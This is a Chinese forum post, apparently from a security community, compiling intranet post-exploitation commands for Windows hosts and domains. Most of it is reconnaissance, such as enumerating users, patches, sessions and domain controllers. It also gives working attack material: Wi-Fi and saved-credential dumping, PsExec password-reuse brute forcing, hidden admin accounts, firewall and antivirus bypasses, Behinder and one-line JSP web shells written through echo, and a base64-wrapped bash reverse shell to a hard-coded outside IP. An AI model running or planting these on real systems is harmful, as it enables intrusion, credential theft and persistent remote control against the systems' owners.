【僵尸申请复活】【已通过】告别内网打一半,百度找命令 - 内网信息收集大全
目录
Windows主机信息收集
系统内信息
用户、组
查看当前用户、权限
// CMD方式可直接查看
whoami // 查看当前用户
whoami /all // 查看当前域并获取域SID
qwinsta // 获取当前连接会话
quser // 与qwinsta用法大概相同,查看使用帮助
// 通过Win+R运行 lusrmgr.msc
lusrmgr.msc // GUI方式查看系统内用户,可查看隐藏用户
// 调用Powershell内函数输出,需使用PowerShell
Get-WmiObject -Class Win32_UserAccount // PowerShell 查看系统内用户
// 输出用户+SID
wmic useraccount get name,sid // 输出当前系统内所有用户+SID
查看本地用户列表
net user // 查看本地用户
net localgroup administrators // 查看本地管理员组(通常包含域用户)net user xxx // 查看指定用户详细信息
操作系统
磁盘类
查看系统盘符
wmic logicaldisk where DriveType=3 get DeviceID
查看权限类
cacls c:\ //查看c盘的权限配额
cacls c:\windows\ma.exe //查看ma.exe的权限配置
icacls C:\Windows //查看文件的ACL情况
操作系统信息类
操作系统信息
systeminfo
执行以下命令直接查看操作系统及版本
// 查找字符串方式
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" // 中文操作系统
// 直接输出指定字段方式
wmic OS get Caption,CSDVersion,OSArchitecture,Version
查看补丁列表
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
注意:域内主机的补丁通常是批量安装的,通过查看本机补丁列表,就可以批量找到内网未打补丁的漏洞。
查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
安转的软件及版本
wmic product get name,version
查看本机进程
tasklist
wmic process
tasklist /m shell32.dll // 查看调用了shell32.dll的进程
查看本机服务
wmic service list brief
查看所有软件的信息PowerShell
Get-WmiObject -class win32_product |Select-Object -Property name,version
查看主机开机时间
net statistics workstation
查看本机共享
net share
wmic share get name,path,status
查看其他主机的BIOS名称
nbtstat -A 127.0.0.1
查看计划任务
schtasks /query /fo LIST /v // query显示所有计划任务
查看自启程序列表
wmic startup get command,caption
环境变量
wmic environment get Description , VariableValue
查看用户所属的家目录路径
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Desktop" /s
查看IE浏览器浏览记录
reg query "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs" /s
操作记录类
查看保存的凭证(密码)
cmdkey /l
查看application日志
Get-WinEvent -FilterHashtable @{logname="Application";}
查看DCOM文件
Get-CimInstance Win32_DCOMApplication
命令执行记录
powershell命令历史记录,如果命令用不起,可以查看powershell的txt
Get-Content (Get-PSReadlineOption).HistorySavePath
注册表记录
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type %appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
远程桌面信息
(适用于Windows 10)
// PowerShell
dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name
// CMD 查看连接过的IP
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
// CMD 查看连接过的IP的所有信息(包括Hash)
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
WIFI记录
查看WIFI记录
netsh wlan show profile
获取连接过的WIFI密码
使用上一步的获取到的WIFI名称,替换WiFi-name
netsh wlan show profile WiFi-name key=clear
获取所有WIFI密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
VNC记录
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver RealVNC
HKEY_CURRENT_USER\Software\TightVNC\Server Value TightVNC
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 TigerVNC
HKCU\Software\Martin Prikryl\WinSCP 2\Sessions WinSCP
查找杀软
// 查找杀软(通过命令)
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
// 输出所有的进程,通过杀软比对器查找
tasklist /svc
// 输出所有的进程,通过杀软比对器查找
powershell get-process
Findstr(正常)骚操作
查找当前目录的子目录的所有含有pass的文件夹
findstr /s /m "pass" *.*
查找c盘的a.txt
dir c:\a.txt /s /b
For命令的骚操作
C段存活主机查找
for /l %i in (1,1,255) do @ping 10.0.1.%i -w 1 -n 1 | find /i "ttl"
C段存活主机查找+主机名
for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Pinging"
B段存活主机查找
在一个内网里面有时候不一定只有一个域,而当两个域没有信任时,可以用这条扫出来
for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"
for /l %i in (1,1,255) do @ping -a 10.0.%i.254 -w 1 -n 1 | find /i "Pinging"
net view 存活主机查找
把net view的结果,挨个ping一遍,并输出机器名和ip地址。
FOR /F "eol=- tokens=1 delims= " %a IN ('net view') DO @(echo name: %a, ip: & ping %a -w 1 -n 1 | find /i "ttl" & echo.)
内网密码爆破
当前环境 : 知道网内多个主机的默认密码(管理员),每台主机会有不同用户登录进来,现在想读取登录到主机其他用户的密码,但主机太多不想一个一个登录进去读密码的解决办法:
// 生成ip文件
(按网段生成ip列表,现在的环境254为网关,所以地址到253止)
for /l %i in (1,1,253) do echo 192.168.60.%i >>ip.txt
// 判断ip存活,并保存到ok.txt
(判断存活主机,同网段内一般是不禁ping的)
for /f %i in (ip.txt) do ping -n 1 -w 10 %i | find /i "ttl" >nul && echo %i >>ok.txt
// 尝试对存活主机进行密码复用爆破
for /f %i in (ok.txt) do PsExec64.exe -accepteula \\%i -u "administrator" -p "123456" /s cmd.exe /c "ipconfig" >> 1.txt
结果会将被爆破出来密码的主机的ipconfig存储到1.txt文件中
多线程版B段扫描(慎用)
效果嘎嘎nb,请在文件夹中使用
全部执行完毕后,可以使用 cat * 查看
for /l %a in (0,1,2) do cmd /c "choice /t 7 /d y /n >nul" & for /l %b in (1,1,255) do start cmd /c "ping 192.168.%a.%b -l 1 -n 1 -i 1 >192.168.%a.%b.txt"
获取所有WIFI密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
查找本机所有有关密码的字段
// 注册表内password字段
reg query HKCU /f password /t REG_SZ /s
reg query HKCU /f 密码 /t REG_SZ /s
// 请发挥想象C:、D:、E:、F:等等等等
dir c:\*pass* /s /b
dir c:\*password* /s /b
dir c:\*密码* /s /b
远程桌面相关
开启远程桌面连接
方法1:
// wmic 开启
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
// wmic 关闭
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
// 设置远程桌面端口
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
方法2:
// 修改注册表方式 开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
// 关闭
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 1 /f
// 防火墙加白,Windows防火墙启用远程桌面,开放远程桌面端口
netsh advfirewall firewall set rule group=“remote desktop” new enable=Yes
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
查询3389端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
用户操作类
添加
### 查看用户
net user 用户
#### 添加用户
net user 用户 密码 /add
#### 添加用户到administrators组
net localgroup administrators 用户 /add
删除
#### 删除用户
net user 用户 /del
#### 从administrators组删除用户
net localgroup administrators 用户 /del
账户启用
#### 启用账户
net user 账户 /active:yes
#### 停用账户
net user 账户 /active:no
隐藏账户
#### 添加隐藏用户
net user 用户$ 密码 /add
#### 删除隐藏用户
net user 用户$ /del
踢出用户
// 拿到用户的ID
query user
// 使用用户ID,高权限,即可踢出用户
logoff ID
切换域控用户
system权限直接切换,不需要输入密码
// 拿到用户的ID
query user
// 使用用户ID,高权限,即可桌面切换用户
tscon ID
查看防火墙相关信息
防火墙相关操作
//老版本
netsh firewall show state // 防火墙状态
netsh firewall show config // 查看防火墙配置
netsh firewall set opmode disable // 关闭防火墙(windows server 2003及以前)
//新版本
netsh advfirewall show allprofiles // 防火墙状态
netsh advfirewall export "c:\firewall.pol" // 备份防火墙
netsh advfirewall set allprofiles state off // 关闭防火墙(windows server 2003以后)
netsh advfirewall set allprofiles state on // 开启防火墙(windows server 2003以后)
修改防火墙配置
// 允许指定程序的全部连接(windows server 2003及以前)
netsh firewall add allowedprogram c:\\xxx\\xx.exe "allow xx" enable
// windows server 2003之后:
//允许某个程序连入 tcpudp
netsh advfirewall firewall add rule name="all xx" dir=in action=allow program="C:\xxx\xx.exe"
//不允许某个程序外联 tcpudp
netsh advfirewall firewall delete rule name="all xx" program="C:\xxx\xx.exe"
// 防火墙开启3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
// 防火墙开启3389端口,并指定连接IP
netsh advfirewall firewall add rule name="Remote Desktop" dir=in action=allow protocol=TCP localport="3389" remoteip="aip,bip,cip"
网络连接类
查看网络配置情况
ipconfig /all // 查询本机IP段,所在域等
route print // 打印路由信息
arp -a // 查看arp缓存,可以发现内网主机
列出本地计算机与所连接的客户端主机之间的会话
net session
删除本地计算机与所连接的客户端主机之间的会话
net session /delete /y
net use的发起方删除连接
net use * /del /y
查看端口信息
netstat -ano //查询全部端口
netstat -ano |findstr 80 //查询指定端口
Windows失陷前期命令
PowerShell
PowerShell执行策略
#更新执行策略
Set-ExecutionPolicy <policy-name>
#policy-name可能的值
Unrestricted、RemoteSigned、AllSigned、Restricted、Default、Bypass、Undefined
#将ExecutionPolicy改为Unrestricted,可以运行未签名的脚本
Set-ExecutionPolicy Unrestricted
#查询详细策略
get-help about_Execution_Policise
查看当前运行脚本策略
Get-ExecutionPolicy
指定当前的运行级别为ByPass,然后就可以运行脚本,这个指定的运行级别是本次执行的运行级别,不会改变默认
更改当前命令行ps1脚本执行策略
(声明本地执行策略,以可执行脚本的权限运行)
绕过本地不能执行脚本策略
##原值
PowerShell.exe test.ps1 #提示没有权限运行
##添加绕过参数
PowerShell.exe -ExecutionPolicy Bypass test.ps1 #无提示直接运行
PowerShell Base64 编码脚本
$fileContent = "ipconfig"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand
powershell /enc $encodedCommand
CMD命令写入马子(转义符号)
冰蝎jsp
命令
Ctrl+H替换路径,然后依次执行命令即可。 写入之前建议在本地环境先进行写入测试。
连接密码:rebeyond
路径:..\1.jsp
echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^> > ..\1.jsp
echo ^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^> >> ..\1.jsp
echo ^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES"); >> ..\1.jsp
echo c.init(2,new SecretKeySpec(k.getBytes(),"AES")); >> ..\1.jsp
echo new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> >> ..\1.jsp
测试写入
查看是否可以成功解析
cmd /c echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^> > ..\1.jsp
冰蝎jspx
echo ^<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"^> > 1.jspx
echo ^<jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/^> >> 1.jspx
echo ^<jsp:declaration^> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}^</jsp:declaration^> >> 1.jspx
echo ^<jsp:scriptlet^>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);^</jsp:scriptlet^> >> 1.jspx
echo ^</jsp:root^> >> 1.jspx
一句话小马
echo ^<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %^> > ..\1.jsp
Weblogic服务相关信息
Weblogic控制台账号密码
/app/weblogic/Oracle/Middleware/user_projects/domains/app_domain/servers/Server1/security/boot.properties
Weblogic加密文件存放地址
/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
Weblogic数据库账号密码
/root/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/
weblogic虚拟路径配置文件(Web项目路径)
cat /weblogic/user_projects/domains/card_domain/config/config.xml
Kill进程
cmd下命令杀进程的几个方法
1、用taskill命令
taskkill /f /im 进程名称
示例:用taskkill /f /im VStart.exe命令关闭音速启动,VStart.exe就是音速启动的进程名称
taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)
注:有两种方法查进程的PID码:
在命令行下用 tasklist 命令查出进程的PID号码,就是这些
在任务管理器中的查看选项中选择选择列中勾先PID那一项
示例:举个关闭迅雷的例子,先找出迅雷的PID码2552
taskkill /pid 2552 -f,就是这个指令
2、用 wmic process Where name="进程名称" call terminate 这个不需要知道进程的PID号
示例:
wmic process Where name="iexplore.exe" call terminate 关闭IE浏览器,
3、ntsd -c q -p [pid进程码]
示例:还是举个关闭迅雷的吧,同样先找出迅雷的PID码2724
ntsd -c q -p 2724 是这条指令!
taskkill /f /im 进程名称
taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)
wmic process Where name="进程名称"
ntsd -c q -p 2724
获取出网IP
curl ident.me
命令执行一些其他方式
// 都为远古版,命令执行不成功时,可借鉴以下方式,不全
cmd /c C:\ProgramData\msf.exe //有一定几率能够绕过360
cmd /c start C:\ProgramData\msf.exe //有一定几率能够绕过360
Dxcap -c C:\ProgramData\msf.exe //有一定几率能够绕过360
cmd /c Dxcap -c C:\Windows\System32\cmd.exe //Dxcap被拦时可试试这个
Linux Base64编码执行命令
适用于某些命令执行情况下
bash -c "{echo,base64编码数据}|{base64,-d}|{bash,-i}"
例如
ping log.v4xtb8.ceye.io -c 1
cGluZyBsb2cudjR4dGI4LmNleWUuaW8gLWMgMQ==
bash -c "{echo,cGluZyBsb2cudjR4dGI4LmNleWUuaW8gLWMgMQ==}|{base64,-d}|{bash,-i}"
bash -i >& /dev/tcp/110.42.206.16/9999 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDIuMjA2LjE2Lzk5OTkgMD4mMQ==
bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDIuMjA2LjE2Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"
调出桌面图标设置
rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0
DNS缓存设置
刷新DNS缓存
ipconfig /flushdns
查看DNS缓存
ipconfig /displaydns
445端口爆破用户密码
445端口爆破原理
取消建立的连接
net use * /del /y
空会话
向192.168.178.135的445端口发起连接,需要账号密码
net use \\192.168.178.135
远程本地认证
向192.168.178.135的445端口发起连接,需要账号密码
net use \\192.168.178.135 /user:workgroup\administrator 1218Th..
nmap扫描445
nmap --script=smb-vuln-ms17-010 IP
文件流
echo 123 > axgg::$INDEX_ALLOCATION //文件流创建文件
rd axgg::$INDEX_ALLOCATION //删除改文件
Windows域控信息收集
域内信息收集
判断是否存在域
“工作站DNS名称”为域名(若为WORKGROUP,则表示当前不是域环境),登录域为当前登陆的域。
net config workstation // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain // 查看域
net user /do //获取域用户列表
“域”即域名,如果为WORKGROUP则表示当前不是域环境,机器不在于内。
systeminfo
查看主控制器
net time /domain // 主域服务器会同时作为时间服务器
net group "domain controllers" /domain // 查看域控制器组
nltest /DCLIST:god // 查看域控制器主机名,god为域名
定位域控制器
我们已经知道了与控制器的名称,接下来就要定位域控制器的ip地址了。
ping owa.god.org // owa为域控制器名
列出域信任关系
nltest /domain_trusts 列出域与域之间的信任关系
查看域内用户组列表
net group /domain
Domain Admins 域管理员组
Domain Computers 域内的机器
Domain Controllers 域控制器
Domain Users 域用户
Enterprise Admins 企业系统管理员组
查看所有的域成员主机(机器用户;不包括域控):
net group "domain computers" /domain
查看域管理员组:
net group "domain admins" /domain
如上操作可以得到域管理员用户有administrator和owa$。
net group "Enterprise Admin" /domain
获取域密码信息
net accounts /domain
查看域用户信息
net user /domain // 查看域用户
net user xxx /domain // 查看指定域用户详细信息
获取域内用户详细信息
wmic useraccount get /all
PDF文件
评论21次
兄弟,你整理个PDF当个附件成不,看着头大啊